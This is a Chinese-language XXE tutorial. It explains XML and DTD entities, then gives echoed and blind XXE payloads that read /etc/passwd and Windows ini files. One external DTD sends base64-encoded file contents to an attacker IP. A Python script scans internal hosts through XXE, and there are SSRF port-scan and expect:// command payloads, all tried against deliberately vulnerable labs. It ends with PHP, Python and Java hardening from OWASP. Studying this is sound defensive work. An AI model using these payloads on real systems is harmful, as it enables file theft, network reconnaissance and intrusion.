XXE基础 XXE概述 XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
 
XML基础 XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
文档结构 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"?>  //XML声明 <!DOCTYPE note [     //文档类型定义   <!ELEMENT note (to,from,heading,body)>   <!ELEMENT to      (#PCDATA)>   <!ELEMENT from    (#PCDATA)>   <!ELEMENT heading (#PCDATA)>   <!ELEMENT body    (#PCDATA)> ]> <note>         //文档元素   <to>George</to>   <from>John</from>   <heading>Reminder</heading>   <body>Don't forget the meeting!</body> </note> 
 
DTD DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
DTD声明 内部声明:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"?> <!DOCTYPE note [   <!ELEMENT note (to,from,heading,body)>   <!ELEMENT to      (#PCDATA)>   <!ELEMENT from    (#PCDATA)>   <!ELEMENT heading (#PCDATA)>   <!ELEMENT body    (#PCDATA)> ]> <note>   <to>George</to>   <from>John</from>   <heading>Reminder</heading>   <body>Don't forget the meeting!</body> </note> 
 
外部声明:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?xml version="1.0"?> <!DOCTYPE note SYSTEM "http://127.0.0.1/note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>    -------------------------------------------------------------------- #http://127.0.0.1/note.dtd的内容为 <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> 
 
DTD实体 构成DTD的叫做DTD实体,包括内部实体和外部实体。
内部和外部实体中,又有一般实体和参数实体
一般实体: 引用方式:&实体名; 
参数实体: 引用方式:%实体名; 
 
注意参数实体只能在DTD中申明,DTD中引用;
1 2 3 4 5 6 7 8 <!DOCTYPE message [     <!ENTITY normal    "hello">     <!-- 内部一般实体 -->     <!ENTITY % normal2 "hello">     <!-- 内部参数实体 -->     <!ENTITY normal3 SYSTEM "http://xml.org/hhh.dtd">    <!-- 外部一般实体 -->     <!ENTITY % normal4 SYSTEM "file:///1234.dtd">        <!-- 外部参数实体 -->     %normal4;            <!-- 引用参数实体 --> ]> <message>&normal;</message>    <!-- 引用一般实体 --> 
 
参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML实体编码,否则会出现解析错误。
1 2 3 4 <!DOCTYPE test [     <!ENTITY % outside '<!ENTITY % files SYSTEM "file:///etc/passwd">'> ]> <message>&files;</message> 
 
XXE原理 XXE即XML外部实体注入 。和sql注入一样,进行xml修改成恶意代码后,xml解析器解析了恶意代码造成XXE。
利用方式 方式一: 直接通过DTD外部实体声明 1 2 3 4 5 <?xml version="1.0"?> <!DOCTYPE a[     <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <a>&b;</a> 
 
方式二:通过DTD文档引入外部DTD文档中的外部实体声明 1 2 3 4 5 <?xml version="1.0"?>     <!DOCTYPE Quan SYSTEM "http://ip/eval.dtd"> 		<hhh>&f;<hhh> #DTD文件内容: <!ENTITY f SYSTEM "file:///etc/passwd"> 
 
方式三:通过DTD外部实体声明引入外部DTD文档中的外部实体声明 1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "http://ip/eval.dtd"> ]> <hhh>&f;<hhh> #Quan.dtd的外部实体声明内容: <!ENTITY f SYSTEM "file:///etc/passwd"> 
 
XXE的分类 XXE分成了三类,正常回显XXE、报错XXE和Blind XXE
一、有回显XXE 示例:1.php
1 2 3 4 5 6 7 8 <?php     libxml_disable_entity_loader (false);     $xmlfile = file_get_contents('php://input');     $dom = new DOMDocument();     $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);      $creds = simplexml_import_dom($dom);     echo $creds; ?> 
 
payload
1 2 3 4 <?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE creds [   <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>  <creds>&goodies;</creds> 
 
结果:
有时实体内包含了些字符,如&,<,>,”,’等。这些均需要对其进行转义,否则会对XML解释器生成错误,这时候就可以利用CDATA或者base64编码来绕过。
1.可以使用base64编码
payload
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test[ 	<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/system.ini"> ]> <test>&file;</test> 
 
结果:
2.使用CDATA
CDATA的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA[">    <!ENTITY % goodies SYSTEM "file:///c:/windows/system.ini">   <!ENTITY % end "]]>">  <!ENTITY % dtd SYSTEM "http://ip/evil.dtd">  %dtd; ]>    <roottag>&all;</roottag>   #evil.dtd <?xml version="1.0" encoding="UTF-8"?>  <!ENTITY all "%start;%goodies;%end;"> 
 
结果
二、无回显XXE 修改1.php
1 2 3 4 5 6 <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);  ?> 
 
evil.dtd
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:9999?p=%file;'>"> 
 
payload
1 2 3 4 <?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE root [  <!ENTITY % dtd SYSTEM "http://IP/evil.dtd">  %dtd;%int;%send; ]> 
 
结果
XXE的挖掘思路 检测xml是否被解析
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY dog "this is dog"> ]> <root>&dog;</root> 
 
检测是否支持外部实体
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY % dog SYSTEM "http://ip:9999"> %dog; ]> 
 
xxe-lab-php 有回显XXE利用 在登陆点抓一个包
payload
1 2 3 4 5 6 <?xml version="1.0"?>  <!DOCTYPE creds [   <!ENTITY goodies SYSTEM "file:///c:/windows/win.ini">  ]>  <user><username>&goodies;</username> <password>yang</password></user> 
 
结果:
注意点必须要把获取的数据写入username标签,因为这里的输出是username标签的
无回显XXE利用 注释echo
payload
1 2 3 4 <?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE root [  <!ENTITY % dtd SYSTEM "http://192.168.31.144/test.dtd">  %dtd;%int;%send; ]> 
 
test.dtd
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.31.144:9999?p=%file;'>"> 
 
结果:
内网存活主机扫描 可以读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件,这样我们就能拿到网段了
利用python2脚本探测存活主机:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # -*- coding: utf-8 -*- import requests import base64   def build_xml(string):     xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""     xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""     xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""     xml = xml + "\r\n" + """<xml>"""     xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""     xml = xml + "\r\n" + """</xml>"""     send_xml(xml)   def send_xml(xml):     headers = {'Content-Type': 'application/xml'}     x = requests.post('http://192.168.12.130/xxe-lab/php_xxe/doLogin.php', data=xml, headers=headers, timeout=5).text     coded_string = x.split(' ')[-2]      print coded_string #   print base64.b64decode(coded_string) for i in range(129, 135):     try:         i = str(i)         #此处填写网段         ip = '192.168.12.' + i         string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'         print string         build_xml(string)     except:         continue 
 
结果,可以看到130主机在线
HTTP端口扫描 payload
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[     <!ENTITY test SYSTEM "http://192.168.202.130:80"> ]> <reset><login>&test;</login><secret>cc</secret></reset> 
 
结果
后面放到Intruder中爆破即可,根据页面长度或响应时间
执行系统命令 payload,前提是要开启expect拓展
1 2 3 4 5 <?xml version="1.0"?>     <!DOCTYPE tets[     <!ENTITY f SYSTEM "expect://执行的命令"> ]> <hhh>&f;<hhh> 
 
xxe-lab-java 搭建好之后,访问
payload
1 2 3 4 5 6 <?xml version="1.0"?>  <!DOCTYPE creds [   <!ENTITY goodies SYSTEM "file:///c:/windows/win.ini">  ]>  <user><username>&goodies;</username> <password>CC</password></user> 
 
结果
ssrf-payload
1 2 3 4 5 6 <?xml version="1.0"?>  <!DOCTYPE creds [   <!ENTITY xxe SYSTEM "http://127.0.0.1:8080"> ]>  <user><username>&xxe;</username> <password>CC</password></user> 
 
XXE修复 过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
使用正确的方法:
代码层防范(PHP) 1 libxml_disable_entity_loader(true); 
 
代码层防范(Python) 1 2 from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 
 
代码层防范(Java) 使用 XML 库的 Java 应用程序特别容易受到 XXE  的攻击,因为大多数 Java XML 解析器的默认设置是启用 XXE。 要安全地使用这些解析器,您必须在您使用的解析器中显式禁用 XXE。 下面介绍如何在 Java 最常用的 XML 解析器中禁用 XXE。
JAXP DocumentBuilderFactory、SAXParserFactory 和 DOM4J 
DocumentBuilderFactory, SAXParserFactory和 DOM4J XML解析器可以使用相同的技术进行配置,以保护它们免受 XXE 的侵害。
只有 DocumentBuilderFactory此处提供了示例。JAXP DocumentBuilderFactory setFeature 方法允许开发人员控制启用或禁用哪些特定于实现的 XML 处理器功能。
这些功能既可以在工厂设置,也可以在底层设置 XMLReader setFeature 方法。
DocumentBuilder 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); String FEATURE = null; try {   FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";   dbf.setFeature(FEATURE, true);   FEATURE = "http://xml.org/sax/features/external-general-entities";   dbf.setFeature(FEATURE, false);   FEATURE = "http://xml.org/sax/features/external-parameter-entities";   dbf.setFeature(FEATURE, false);   FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";   dbf.setFeature(FEATURE, false);   dbf.setXIncludeAware(false);   dbf.setExpandEntityReferences(false);   logger.info("ParserConfigurationException was thrown. The feature '" + FEATURE   + "' is probably not supported by your XML processor.");   ... } catch (SAXException e) {   logger.warning("A DOCTYPE was passed into the XML document"); } catch (IOException e) {   logger.error("IOException occurred, XXE may still possible: " + e.getMessage());   ... } DocumentBuilder safebuilder = dbf.newDocumentBuilder(); 
 
对于语法突出显示的示例代码片段,使用 SAXParserFactory
SAXParserFactory 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import javax.xml.parsers.ParserConfigurationException; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import org.xml.sax.SAXNotRecognizedException; import org.xml.sax.SAXNotSupportedException; import org.xml.sax.XMLReader;   SAXParserFactory spf = SAXParserFactory.newInstance();   SAXParser saxParser = spf.newSAXParser();   XMLReader reader = saxParser.getXMLReader();   try { spf.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);   } catch (ParserConfigurationException e) {   } catch (SAXNotRecognizedException e) {   } catch (SAXNotSupportedException e) {   } catch ... {   } 
 
StAX 解析器,例如 XMLInputFactory允许设置各种属性和功能。保护 Java XMLInputFactory来自 XXE,请执行以下操作:
1 2 xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false); 
 
Oracle DOM 解析器 ,遵循 Oracle 推荐, 例如:
DOMParser 1 2 3 4 DOMParser domParser = new DOMParser();   domParser.setAttribute(DOMParser.EXPAND_ENTITYREF, false);   domParser.setAttribute(DOMParser.DTD_OBJECT, dtdObj); domParser.setAttribute(DOMParser.ENTITY_EXPANSION_DEPTH, 12); 
 
为了保护一个 javax.xml.transform.TransformerFactory来自 XXE,请执行以下操作:
1 2 3 TransformerFactory tf = TransformerFactory.newInstance(); tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); 
 
为了保护一个 javax.xml.validation.Validator来自 XXE,请执行以下操作:
validator 1 2 3 4 5 SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); Schema schema = factory.newSchema(); Validator validator = schema.newValidator(); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); 
 
为了保护一个 javax.xml.validation.SchemaFactory来自 XXE,请执行以下操作:
SchemaFactory 1 2 3 4 SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); Schema schema = factory.newSchema(Source); 
 
为了保护一个 javax.xml.transform.sax.SAXTransformerFactory来自 XXE,请执行以下操作:
1 2 3 4 SAXTransformerFactory sf = SAXTransformerFactory.newInstance(); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); sf.newXMLFilter(Source); 
 
保护 Java org.xml.sax.XMLReader来自 XXE,请执行以下操作:
XMLReader 1 2 3 4 5 XMLReader reader = XMLReaderFactory.createXMLReader(); reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 
 
保护 Java org.dom4j.io.SAXReader来自 XXE,请执行以下操作:
saxReader 1 2 3 saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false); saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 
 
保护 Java org.jdom2.input.SAXBuilder来自 XXE,请执行以下操作:
SAXBuilder 1 2 3 4 5 6 SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); builder.setExpandEntities(false); Document doc = builder.build(new File(fileName)); 
 
对于需要 EntityResolver,您可以通过 来抵消 XML 解析器解析实体的能力:
1 2 3 4 5 6 7 public final class NoOpEntityResolver implements EntityResolver {   public InputSource resolveEntity(String publicId, String systemId) {       return new InputSource(new StringReader(""));   } } xmlReader.setEntityResolver(new NoOpEntityResolver()); documentBuilder.setEntityResolver(new NoOpEntityResolver()); 
 
或更简单地说:
1 2 3 EntityResolver noop = (publicId, systemId) -> new InputSource(new StringReader("")); xmlReader.setEntityResolver(noop); documentBuilder.setEntityResolver(noop); 
 
由于一个 javax.xml.bind.Unmarshaller解析 XML 并且不支持任何禁用 XXE 的标志,必须首先通过可配置的安全解析器解析不受信任的 XML,作为结果生成源对象,并将源对象传递给 Unmarshaller。 例如:
Unmarshaller 1 2 3 4 5 6 7 8 9 SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(),       new InputSource(new StringReader(xml))); JAXBContext jc = JAXBContext.newInstance(Object.class); Unmarshaller um = jc.createUnmarshaller(); um.unmarshal(xmlSource); 
 
一种 javax.xml.xpath.XPathExpression无法自行安全配置,因此不可信数据必须先通过另一个安全的 XML 解析器进行解析
XPathExpression 1 2 3 4 5 6 DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); DocumentBuilder builder = df.newDocumentBuilder(); String result = new XPathExpression().evaluate( builder.parse(     new ByteArrayInputStream(xml.getBytes())) ); 
 
java.beans.XMLDecoder 
的 readObject() 此类中 方法从根本上是不安全的。
不仅它解析的 XML 受 XXE 约束,而且该方法可用于构造任何 Java 对象,并 执行此处描述的任意代码 。
除了信任或正确验证传递给它的输入之外,没有办法安全地使用这个类。
因此,我们强烈建议完全避免使用此类,并使用本备忘单中其他地方所述的安全或正确配置的 XML 解析器替换它。
参考 https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html 
https://blog.csdn.net/weixin_45382656/article/details/118565084?spm=1001.2014.3001.5501